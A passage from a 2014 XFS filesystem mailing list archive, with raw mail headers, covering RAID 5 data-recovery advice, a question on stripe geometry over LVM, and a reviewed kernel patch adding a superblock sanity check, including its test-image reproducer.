[10.0.0.77]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id C850A6088B50; Wed, 29 Jan 2014 08:18:27 -0600 (CST) References: <1391002795.2573.79.camel@islero.dmt.upm.es> <52E90998.5050805@sandeen.net> <1391004421.4294.68.camel@montana.filmlight.ltd.uk> Mime-Version: 1.0 (1.0) In-Reply-To: <1391004421.4294.68.camel@montana.filmlight.ltd.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: <43C533EA-A330-4BBE-9A38-31175E9EF1E4@sandeen.net> Cc: "sillero@torroja.dmt.upm.es" <sillero@torroja.dmt.upm.es>, "xfs@oss.sgi.com" <xfs@oss.sgi.com> X-Mailer: iPhone Mail (11B554a) From: Eric Sandeen <sandeen@sandeen.net> Subject: Re: Not being able to recover a RAID 5 20 Tb partition, help needed Date: Wed, 29 Jan 2014 08:18:24 -0600 X-ASG-Orig-Subj: Re: Not being able to recover a RAID 5 20 Tb partition, help needed To: Roger Willcocks <roger@filmlight.ltd.uk> X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391005107 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.23 X-Barracuda-Spam-Status: No, SCORE=1.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2, SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144604 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars Those are ancient comments from IRIX versions. If he's using device mapper I= suppose it is Linux after all. :) Eric > On Jan 29, 2014, at 8:07 AM, Roger Willcocks <roger@filmlight.ltd.uk> wrot= e: >=20 >=20 > On Wed, 2014-01-29 at 08:00 -0600, Eric Sandeen wrote: >=20 >>> The system is setup as follow: >>> XFS 6.1 >>=20 >> Is this some variant of RHEL6.1? XFS doesn't have version numbers >> like that. (Probably not IRIX 6.1?) :) >=20 > See xfs_sb.h -=20 >=20 > #define XFS_SB_MAGIC 0x58465342 /* 'XFSB' */ > #define XFS_SB_VERSION_1 1 /* 5.3, 6.0.1, 6.1 */ > #define XFS_SB_VERSION_2 2 /* 6.2 - attributes */ > #define XFS_SB_VERSION_3 3 /* 6.2 - new inode > version */ > #define XFS_SB_VERSION_4 4 /* 6.2+ - bitmask > version */ >=20 >=20 > --=20 > Roger Willcocks <roger@filmlight.ltd.uk> >=20 From chamill@wesleyan.edu Wed Jan 29 08:26:46 2014 Return-Path: <chamill@wesleyan.edu> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5F7A17F80 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 08:26:46 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4BC628F8054 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 06:26:43 -0800 (PST) X-ASG-Debug-ID: 1391005601-04cbb05ba91e6350001-NocioJ Received: from internal-smtp4.wesleyan.edu (internal-smtp4.wesleyan.edu [129.133.6.200]) by cuda.sgi.com with ESMTP id SkjiOZgnOTz6vUfA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 06:26:42 -0800 (PST) X-Barracuda-Envelope-From: chamill@wesleyan.edu X-Barracuda-Apparent-Source-IP: 129.133.6.200 Received: from localhost (al.wesleyan.edu [129.133.22.76]) (authenticated bits=0) by msa.wesleyan.edu (8.14.4/8.14.4) with ESMTP id s0TEQeVx020755 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 09:26:40 -0500 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=wesleyan.edu; s=feb2013.wesmsa; t=1391005601; bh=ya0JK/XmK7iAfKasId8g1VAryAwqUmAqzlg5vluXAF0=; h=From:To:Subject:Date; b=kAqAozSrrhLEJ1IvnsGXsFiSZR1Nf8kagIaveYMC5J8gpBG/FxKV+NCm0TdWRYQXt IrX0s0una6dXirYsFH8p/9m9RlsTeZ47ROt3XasIqnqVCe2ftMMNnx+fFTbcwD+w/w Rbo3msH2xwY0mgnSk1MRYP55EttzxluV0E8oBM6M= Content-Type: text/plain; charset=UTF-8 From: "C. Morgan Hamill" <chamill@wesleyan.edu> To: xfs <xfs@oss.sgi.com> Subject: Question regarding XFS on LVM over hardware RAID. Date: Wed, 29 Jan 2014 09:26:40 -0500 X-ASG-Orig-Subj: Question regarding XFS on LVM over hardware RAID. Message-Id: <1391005406-sup-1881@al.wesleyan.edu> User-Agent: Sup/git Content-Transfer-Encoding: 8bit X-Wesleyan-MailScanner-ID: s0TEQeVx020755 X-Wesleyan-MailScanner: Found to be clean X-Wesleyan-MailScanner-From: chamill@wesleyan.edu X-Barracuda-Connect: internal-smtp4.wesleyan.edu[129.133.6.200] X-Barracuda-Start-Time: 1391005602 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144604 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Howdy folks, I understand that XFS have stripe unit and width configured according to the underlying RAID device when using LVM, but I was wondering if this is still the case when a given XFS-formatted logical volume takes up only part of the available space on the RAID. In particular, I could imagine that stripe width would need to be modified proportionally with the decrease in filesystem size. My intuition says that's false, but I wanted to check with folks who know for sure. Thanks for any help! -- Morgan Hamill From jeff.liu@oracle.com Wed Jan 29 08:58:55 2014 Return-Path: <jeff.liu@oracle.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CC5B07F80 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 08:58:55 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A19978F8039 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 06:58:55 -0800 (PST) X-ASG-Debug-ID: 1391007534-04cbb05bab1e7e80001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id OS2LwI2bkwqOZCF5 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 06:58:54 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0TEwrdq019812 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 29 Jan 2014 14:58:54 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0TEwqH3027043 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 29 Jan 2014 14:58:53 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0TEwqrh022072; Wed, 29 Jan 2014 14:58:52 GMT Received: from [192.168.1.101] (/60.212.5.88) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 29 Jan 2014 06:58:51 -0800 Message-ID: <52E91727.2060106@oracle.com> Date: Wed, 29 Jan 2014 22:58:47 +0800 From: Jeff Liu <jeff.liu@oracle.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Eric Sandeen <sandeen@redhat.com>, xfs-oss <xfs@oss.sgi.com> Subject: Re: [PATCH] xfs: sanitize sb_inopblock in xfs_mount_validate_sb References: <52E88357.6090104@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: sanitize sb_inopblock in xfs_mount_validate_sb In-Reply-To: <52E88357.6090104@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1391007534 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144605 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/29 2014 12:28 AM, Eric Sandeen wrote: > xfs_mount_validate_sb doesn't check sb_inopblock for sanity > (as does its xfs_repair counterpart, FWIW). > > If it's out of bounds, we can go off the rails in i.e. > xfs_inode_buf_verify(), which uses sb_inopblock as a loop > limit when stepping through a metadata buffer. > > The problem can be demonstrated easily by corrupting > sb_inopblock with xfs_db and trying to mount the result: > > # mkfs.xfs -dfile,name=fsfile,size=1g > # xfs_db -x fsfile > xfs_db> sb 0 > xfs_db> write inopblock 512 > inopblock = 512 > xfs_db> quit > > # mount -o loop fsfile mnt > and we blow up in xfs_inode_buf_verify(). > > With this patch, we get a (very noisy) corruption error, > and fail the mount as we should. > > Signed-off-by: Eric Sandeen <sandeen@redhat.com> > --- > > diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c > index b7c9aea..511cce9 100644 > --- a/fs/xfs/xfs_sb.c > +++ b/fs/xfs/xfs_sb.c > @@ -288,6 +288,7 @@ xfs_mount_validate_sb( > sbp->sb_inodelog < XFS_DINODE_MIN_LOG || > sbp->sb_inodelog > XFS_DINODE_MAX_LOG || > sbp->sb_inodesize != (1 << sbp->sb_inodelog) || > + sbp->sb_inopblock != howmany(sbp->sb_blocksize,sbp->sb_inodesize) || > (sbp->sb_blocklog - sbp->sb_inodelog != sbp->sb_inopblog) || > (sbp->sb_rextsize * sbp->sb_blocksize > XFS_MAX_RTEXTSIZE) || > (sbp->sb_rextsize * sbp->sb_blocksize < XFS_MIN_RTEXTSIZE) || Looks good to me. Reviewed-by: Jie Liu <jeff.liu@oracle.com> Thanks, -Jeff From sandeen@sandeen.net Wed Jan 29 09:07:20 2014 Return-Path: <sandeen@sandeen.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5FDEF7F80 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 09:07:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3A2E1304075 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 07:07:16 -0800 (PST) X-ASG-Debug-ID: 1391008035-04bdf0359b2ceb0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id MXu4CLm1p7s3uIvG for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 07:07:15 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 2D3B76088B58; Wed, 29 Jan 2014 09:07:15 -0600 (CST) Message-ID: <52E91923.4070706@sandeen.net> Date: Wed, 29 Jan 2014 09:07:15 -0600 From: Eric Sandeen <sandeen@sandeen.net> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: "C. Morgan Hamill" <chamill@wesleyan.edu>, xfs <xfs@oss.sgi.com> Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <1391005406-sup-1881@al.wesleyan.edu> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <1391005406-sup-1881@al.wesleyan.edu> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391008035 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144605 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/29/14, 8:26 AM, C. Morgan Hamill wrote: > Howdy folks, > > I understand that XFS have stripe unit and width configured according to > the underlying RAID device when using LVM, but I was wondering if this > is still the case when a given XFS-formatted logical volume takes up > only part of the available space on the RAID. In particular, I could > imagine that stripe width would need to be modified proportionally with > the decrease in filesystem size. My intuition says that's false, but > I wanted to check with folks who know for sure. The stripe unit and width are units of geometry of the underlying storage; a filesystem will span some number of stripe units, depending on its size. So no, the filesystem's notion of stripe geometry does not change with the filesystem size. You do want to make sure that stripe geometry is correct and aligned from top to bottom. I helped write up the RHEL storage admin guide, and there are some nice words about geometry and alignment in there: https://access.redhat.com/site/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Storage_Administration_Guide/ch-iolimits.html (Hopefully this is available w/o login, I think it is) -Eric > Thanks for any help! > -- > Morgan Hamill > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From roger@filmlight.ltd.uk Wed Jan 29 09:24:31 2014 Return-Path: <roger@filmlight.ltd.uk> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2AA0E7F80 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 09:24:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id EF6D7304070 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 07:24:30 -0800 (PST) X-ASG-Debug-ID: 1391009069-04cb6c75081cea70001-NocioJ Received: from b.mx.filmlight.ltd.uk (b.mx.filmlight.ltd.uk [77.107.81.251]) by cuda.sgi.com with SMTP id M78eRMccxIVA2eRJ for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 07:24:29 -0800 (PST) X-Barracuda-Envelope-From: roger@filmlight.ltd.uk X-Barracuda-Apparent-Source-IP: 77.107.81.251 Received: (dqd 32059 invoked from network); 29 Jan 2014 15:24:28 -0000 Received: from montana.filmlight.ltd.uk (HELO ?10.44.0.132?) (roger@10.44.0.132) by b.mx.filmlight.ltd.uk with SMTP; 29 Jan 2014 15:24:28 -0000 Subject: Re: Not being able to recover a RAID 5 20 Tb partition, help needed From: Roger Willcocks <roger@filmlight.ltd.uk> X-ASG-Orig-Subj: Re: Not being able to recover a RAID 5 20 Tb partition, help needed To: sillero@torroja.dmt.upm.es Cc: xfs@oss.sgi.com In-Reply-To: <1391002795.2573.79.camel@islero.dmt.upm.es> References: <1391002795.2573.79.camel@islero.dmt.upm.es> Content-Type: text/plain Date: Wed, 29 Jan 2014 15:24:28 +0000 Message-Id: <1391009068.4294.83.camel@montana.filmlight.ltd.uk> Mime-Version: 1.0 X-Mailer: Evolution 2.12.3 (2.12.3-19.el5) Content-Transfer-Encoding: 7bit X-Barracuda-Connect: b.mx.filmlight.ltd.uk[77.107.81.251] X-Barracuda-Start-Time: 1391009069 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_SA210e, SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144606 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 BSF_SC5_SA210e Custom Rule SA210e On Wed, 2014-01-29 at 14:39 +0100, Juan A. Sillero wrote: > Hello, > > We are a pioneering group in turbulence at the Polytechnic University of > Madrid (torroja.dmt.upm.es), running simulations in supercomputing > centers all around the world and hosting massive data in our data center > that are publicly accessible. > > Apparently we have lost one of our partitions of 20 Tb because of a > under-voltage error of a power source plus a disk failure and we are > trying to fix it, but it does not look good so far. > > The system is setup as follow: > XFS 6.1 > Raid 5 (12 x 2 disks of 2 Tb each) > Double disk controller managed by devmapper. > > What we know at this point is the next: > > 1) The topology of the disk is lost: the main-boot-record and the GPT > are corrupted. Are you sure the array had a main-boot-record and GPT ? What makes you think they are corrupted ? > 2) After running the testdisk utility we find 9 partitions instead of 1. There is a good chance that the discovered partitions are backup XFS superblocks; their location and content may allow you to figure out the array topology. > 3) With gdisk we have tried to create a new main-boot-record and GPT, > but it has not worked. This was a bad idea. Do you have a copy of the original data for these sectors ? > 4) We know that the blocksize is 4096 bytes, and the current capacity of > the raid is under 20 Tb, so we suspect that even if the disk-manager > says that the RAID is ok, it has not reconstructed the RAID after the > disk failing. > > We are stuck right now at this point, and help would be really > appreciated in order to bring up the partition. We will be pleased to > acknowledge the group in the upcoming publications. > > Thanks again, Juan A. Sillero > -- Roger Willcocks <roger@filmlight.ltd.uk> From BATV+f6379ad6f30791b68453+3811+infradead.org+hch@bombadil.srs.infradead.org Wed Jan 29 10:35:50 2014 Return-Path: <BATV+f6379ad6f30791b68453+3811+infradead.org+hch@bombadil.srs.infradead.org> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 49D287F86 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 10:35:50 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 14846304070 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 08:35:46 -0800 (PST) X-ASG-Debug-ID: 1391013345-04bdf030e9205d20001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id Iz4AVV0n53DixrQe (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 08:35:46 -0800 (PST) X-Barracuda-Envelope-From: BATV+f6379ad6f30791b68453+3811+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1W8Y77-0003yq-I2; Wed, 29 Jan 2014 16:35:45 +0000 Date: Wed, 29 Jan 2014 08:35:45 -0800 From: Christoph Hellwig <hch@infradead.org> To: Brian Foster <bfoster@redhat.com> Cc: xfs@oss.sgi.com, hch@infradead.org Subject: Re: [xfs] c91c46c12: xfstests generic/313 regression Message-ID: <20140129163545.GA11450@infradead.org> X-ASG-Orig-Subj: Re: [xfs] c91c46c12: xfstests generic/313 regression References: <20140110122700.GA12624@localhost> <52CFF402.5080409@oracle.com> <20140110133306.GA22918@infradead.org> <52CFFD1C.7050005@oracle.com> <20140111111045.GA29380@infradead.org> <52E8FE81.7040402@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52E8FE81.7040402@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1391013345 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144607 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Wed, Jan 29, 2014 at 08:13:37AM -0500, Brian Foster wrote: > ping... any plans to repost this with a proper commit log and whatnot? > Thanks. Sorry, got sidetracked. I'll try to get it out ASAP. From sillero@torroja.dmt.upm.es Wed Jan 29 10:54:17 2014 Return-Path: <sillero@torroja.dmt.upm.es> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 323DE7F86 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 10:54:17 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 147DA304070 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 08:54:16 -0800 (PST) X-ASG-Debug-ID: 1391014454-04cbb05bac1ecf20001-NocioJ Received: from torroja.dmt.upm.es (torroja.dmt.upm.es [138.4.116.3]) by cuda.sgi.com with ESMTP id LA20j1bn28ewJiPj (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 08:54:15 -0800 (PST) X-Barracuda-Envelope-From: sillero@torroja.dmt.upm.es X-Barracuda-Apparent-Source-IP: 138.4.116.3 Received: from [138.4.116.65] (islero.dmt.upm.es [138.4.116.65]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by torroja.dmt.upm.es (Postfix) with ESMTPS id B8FA33401F5; Wed, 29 Jan 2014 17:54:13 +0100 (CET) Message-ID: <1391014448.2573.95.camel@islero.dmt.upm.es> Subject: Re: Not being able to recover a RAID 5 20 Tb partition, help needed From: "Juan A. Sillero" <sillero@torroja.dmt.upm.es> X-ASG-Orig-Subj: Re: Not being able to recover a RAID 5 20 Tb partition, help needed Reply-To: sillero@torroja.dmt.upm.es To: Roger Willcocks <roger@filmlight.ltd.uk>, guillem <guillem@torroja.dmt.upm.es> Cc: xfs@oss.sgi.com Date: Wed, 29 Jan 2014 17:54:08 +0100 In-Reply-To: <1391009068.4294.83.camel@montana.filmlight.ltd.uk> References: <1391002795.2573.79.camel@islero.dmt.upm.es> <1391009068.4294.83.camel@montana.filmlight.ltd.uk> Organization: UPM Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3 (3.2.3-3.fc16) Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Barracuda-Connect: torroja.dmt.upm.es[138.4.116.3] X-Barracuda-Start-Time: 1391014454 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e, SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144608 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: 0.00 BSF_SC5_SA210e Custom Rule SA210e Thanks for your comments and ideas. I'd like to add some more information about our crash to improve the discussion. XFS is not to blame, it's a hardware problem. The RAID controller thinks that it has recovered the volume, but it has not. We used gdisk to scan if there were partitions at all, and it said that MBR was blank, and that GPT was corrupt. gdisk detected something that was exactly what we have in the other volumes in the same storage array (we have other 8 almost identical volumes in the same storage array). gdisk re-flashed MBR and GPT, and we had a partition back again, but no XFS identifier at all. We backed up the original state of the disk before gdisk applied the changes. We later used TestDisk, that reports 11 different partitions at sectors that don't make any sense to us. It also says that the volume is smaller than what it should. We are now dd'ing the complete volume to a larger place in case we need to get more serious with data recovery. Our conclusions at this point is that (probably) the RAID5 is all messed up because the controller didn't recover the volume at all. Of course, this has destroyed the file system. We'd like to know your opinion about what to do next. The data is still probably on the disks, but the RAID topology is gone. We'd also like to know if someone has experienced a similar hardware problem that could give us some advice. Thanks. PS: Please, keep guillem in copy. On Wed, 2014-01-29 at 15:24 +0000, Roger Willcocks wrote: > On Wed, 2014-01-29 at 14:39 +0100, Juan A. Sillero wrote: > > Hello, > > > > We are a pioneering group in turbulence at the Polytechnic University of > > Madrid (torroja.dmt.upm.es), running simulations in supercomputing > > centers all around the world and hosting massive data in our data center > > that are publicly accessible. > > > > Apparently we have lost one of our partitions of 20 Tb because of a > > under-voltage error of a power source plus a disk failure and we are > > trying to fix it, but it does not look good so far. > > > > The system is setup as follow: > > XFS 6.1 > > Raid 5 (12 x 2 disks of 2 Tb each) > > Double disk controller managed by devmapper. > > > > What we know at this point is the next: > > > > 1) The topology of the disk is lost: the main-boot-record and the GPT > > are corrupted. > > > Are you sure the array had a main-boot-record and GPT ? What makes you > think they are corrupted ? > > > 2) After running the testdisk utility we find 9 partitions instead of 1. > > There is a good chance that the discovered partitions are backup XFS > superblocks; their location and content may allow you to figure out the > array topology. > > > > 3) With gdisk we have tried to create a new main-boot-record and GPT, > > but it has not worked. > > This was a bad idea. Do you have a copy of the original data for these > sectors ? > > > 4) We know that the blocksize is 4096 bytes, and the current capacity of > > the raid is under 20 Tb, so we suspect that even if the disk-manager > > says that the RAID is ok, it has not reconstructed the RAID after the > > disk failing. > > > > We are stuck right now at this point, and help would be really > > appreciated in order to bring up the partition. We will be pleased to > > acknowledge the group in the upcoming publications. > > > > Thanks again, Juan A. Sillero > > > From eflorac@intellique.com Wed Jan 29 11:42:55 2014 Return-Path: <eflorac@intellique.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 76BF87F86 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 11:42:55 -0600 (CST) Received: from 